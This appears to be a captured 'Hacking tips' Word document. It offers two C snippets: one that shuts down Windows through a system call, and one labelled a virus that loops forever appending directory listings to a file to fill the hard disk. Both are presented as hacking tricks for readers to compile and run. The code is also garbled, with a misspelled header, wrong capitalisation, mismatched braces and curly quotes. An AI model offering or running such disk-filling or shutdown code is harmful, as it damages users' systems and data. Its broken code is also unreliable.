Hacking tips.docx

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Hacking tips 1. The c program which shutdown the windows operating system Write the following code in turbo c. CODE: Void main(void) { System(“shutdown-s”); } Suppose the above . let file name is close.c and compile and execute the above code. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory C:\TC\BIN) and double click its exe file (close.exe).

Transcript of Hacking tips.docx

Page 1: Hacking tips.docx

Hacking tips

1. The c program which shutdown the windows operating system Write the following code in turbo c.CODE:Void main(void){System(“shutdown-s”);}Suppose the above . let file name is close.c and compile and execute the above code. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown .

2.The c program which jam your hard disc.

Page 2: Hacking tips.docx

CODE:

/*virus.exe*/

#include<stdio.h>

#include<stdib.h>

Void main()

{

While(1)

}

System(“dir>>a.sa.exe”);

}

}

Here a sample virus program but it has ability to jam ypur hard disc. The program make a self growing file which grow to few MB and continue infinetly. How it works?-the system call “dir>>a.sa.exe” will execute the dos command.